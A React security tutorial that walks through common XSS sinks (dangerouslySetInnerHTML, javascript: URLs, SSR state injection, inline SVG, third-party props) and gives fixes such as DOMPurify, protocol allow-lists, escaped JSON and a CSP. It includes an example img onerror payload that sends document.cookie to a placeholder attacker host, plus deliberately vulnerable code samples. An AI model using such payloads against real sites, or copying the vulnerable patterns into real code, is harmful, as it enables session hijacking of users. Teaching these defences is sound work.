React has a reputation for being safe by default against Cross-Site Scripting (XSS) attacks. And it’s mostly true: JSX automatically escapes values before injecting them into the DOM. But “mostly safe” is not “always safe.” Every year, real React apps ship to production with XSS holes wide open, usually because developers reach for an escape hatch without understanding the risk.
In this guide, we’ll walk through the most common XSS vulnerabilities in React applications, show you the vulnerable code, and give you a clean fix you can copy into your codebase today.
What Is XSS and Why Should React Developers Care?
Cross-Site Scripting (XSS) is an attack where a malicious actor injects JavaScript into a page that other users will load. Once executed in the victim’s browser, that script can steal cookies, hijack sessions, scrape sensitive data, or perform actions on behalf of the user.
React escapes string values rendered in JSX, which neutralizes the most basic injection attempts. For example, this is safe:
function Greeting({ name }) {
return <h1>Hello, {name}!</h1>;
}
// Even if name = '<script>alert(1)</script>', it renders as text.
However, React’s protection stops the moment you:
- Use dangerouslySetInnerHTML
- Inject user data into URLs (
href,src) - Render server-supplied JSON that contains markup
- Use third-party libraries that touch the DOM directly
- Server-side render unescaped state into the HTML payload
Let’s break down each of these vectors.

1. Misusing dangerouslySetInnerHTML
The name is a warning. dangerouslySetInnerHTML bypasses React’s escaping entirely, which means anything you pass in is rendered as raw HTML.
The Vulnerable Code
function ArticleBody({ post }) {
return (
<div
dangerouslySetInnerHTML={{ __html: post.content }}
/>
);
}
If post.content comes from a user (comments, CMS, profile bio), an attacker can submit:
<img src=x onerror="fetch('https://evil.tld/c?='+document.cookie)">
And every visitor running that component will leak data.
The Fix: Sanitize With DOMPurify
import DOMPurify from 'dompurify';
function ArticleBody({ post }) {
const clean = DOMPurify.sanitize(post.content, {
USE_PROFILES: { html: true }
});
return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}
Better yet: ask yourself if you really need HTML. If the content can be rendered as Markdown or plain text, do that instead and never touch dangerouslySetInnerHTML.
2. Unsafe URL Handling in href and src
This is the most overlooked XSS vector in React. JSX will happily render a javascript: URL because, from React’s perspective, it’s just a string attribute.
The Vulnerable Code
function UserLink({ user }) {
return <a href={user.website}>Visit site</a>;
}
If user.website is javascript:alert(document.cookie), clicking the link executes the payload.
The Fix: Validate the Protocol
const SAFE_PROTOCOLS = ['http:', 'https:', 'mailto:', 'tel:'];
function safeUrl(input) {
try {
const url = new URL(input, window.location.origin);
return SAFE_PROTOCOLS.includes(url.protocol) ? url.href : '#';
} catch {
return '#';
}
}
function UserLink({ user }) {
return <a href={safeUrl(user.website)} rel="noopener noreferrer">Visit site</a>;
}
Always pair external links with rel="noopener noreferrer" to prevent tab-nabbing.

3. Injecting JSON Into Server-Rendered HTML
If you use Next.js, Remix, or any SSR framework, you’ve probably hydrated client state by inlining JSON into the HTML:
The Vulnerable Code
<script>
window.__STATE__ = ${JSON.stringify(state)};
</script>
If state contains a string with </script>, the attacker can break out of the script tag and inject anything they want.
The Fix: Escape Dangerous Characters
function safeJson(value) {
return JSON.stringify(value)
.replace(/</g, '\\u003c')
.replace(/>/g, '\\u003e')
.replace(/&/g, '\\u0026')
.replace(/\u2028/g, '\\u2028')
.replace(/\u2029/g, '\\u2029');
}
Most modern frameworks do this for you. If you’re rolling your own SSR, don’t skip it.
4. Rendering SVG From Untrusted Sources
SVG files can contain <script> tags. If you let users upload SVGs and render them inline, you have an XSS hole.
The Fix
- Serve user-uploaded SVGs as
<img src="...">rather than inlining them (browsers won’t execute scripts in SVGs loaded viaimg). - If you must inline, sanitize with
DOMPurify.sanitize(svg, { USE_PROFILES: { svg: true, svgFilters: true } }).

5. Third-Party Components That Touch the DOM
Rich text editors, charting libraries, and tooltip libraries sometimes accept HTML strings as props. Treat every such prop as a potential dangerouslySetInnerHTML.
Audit your dependencies. Run npm audit regularly, and check whether any library accepts HTML input you forward from users.
Quick Reference: Vulnerability vs Fix
| Attack Vector | Risk Level | Fix |
|---|---|---|
| dangerouslySetInnerHTML with user data | Critical | Sanitize with DOMPurify or avoid entirely |
| User-supplied URLs in href/src | High | Whitelist protocols (http, https, mailto) |
| SSR state injection | High | Escape <, >, & in JSON output |
| Inline user SVG | Medium | Serve via <img> or sanitize SVG |
| Third-party HTML props | Medium | Audit dependencies, sanitize input |
| AI-generated code (LLM output) | Emerging | Never render LLM output as HTML without sanitization |

Defense in Depth: Add a Content Security Policy
Even with clean code, mistakes happen. A strong Content Security Policy (CSP) acts as a safety net. A minimal starting CSP for a React app:
Content-Security-Policy:
default-src 'self';
script-src 'self';
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
connect-src 'self' https://api.yourdomain.com;
frame-ancestors 'none';
base-uri 'self';
Avoid 'unsafe-inline' on script-src. If you need inline scripts for SSR hydration, use nonces or hashes.
A Practical Checklist for Your Next PR Review
- Search the diff for
dangerouslySetInnerHTML. Justify every occurrence. - Search for
href={andsrc={on user-provided values. Confirm protocol validation. - Check that any HTML coming from an API or CMS is sanitized server-side AND client-side.
- Verify CSP headers are deployed and not weakened with
unsafe-inlineorunsafe-eval. - Run
npm auditand update vulnerable dependencies. - Use ESLint with
eslint-plugin-reactandeslint-plugin-securityto catch common mistakes automatically.
FAQ
Is React immune to XSS?
No. React escapes values rendered as children in JSX, which blocks the most common injection attempts. But dangerouslySetInnerHTML, unsafe URL attributes, SSR state injection, and third-party libraries can still introduce XSS.
Do I need DOMPurify if I use React?
Only if you render HTML from untrusted sources. If your app never uses dangerouslySetInnerHTML, you may not need it. The moment you do, DOMPurify is the industry standard sanitizer.
Are Next.js and Remix safer than plain React for XSS?
They handle SSR state serialization safely out of the box, which removes one class of bugs. But application-level issues (dangerouslySetInnerHTML, URL handling) still apply.
Can XSS happen through React props?
Yes, if a component forwards a user-controlled string into dangerouslySetInnerHTML, an href, or an HTML-accepting third-party component. The vector is the sink, not the prop itself.
What about XSS from AI-generated content?
This is a growing concern in 2026. If your app renders LLM output as HTML or executes generated code on the client, treat it as untrusted user input and sanitize accordingly.
Final Thoughts
React gives you a great baseline, but security is not automatic. The vast majority of XSS in React applications comes down to two patterns: rendering raw HTML and trusting user-supplied URLs. Fix those two, add a CSP, sanitize anything that touches the DOM, and you’ll eliminate almost every realistic XSS risk in your codebase.
Security is a habit, not a feature. Make these checks part of every code review, and your React app will stay safe as it scales.

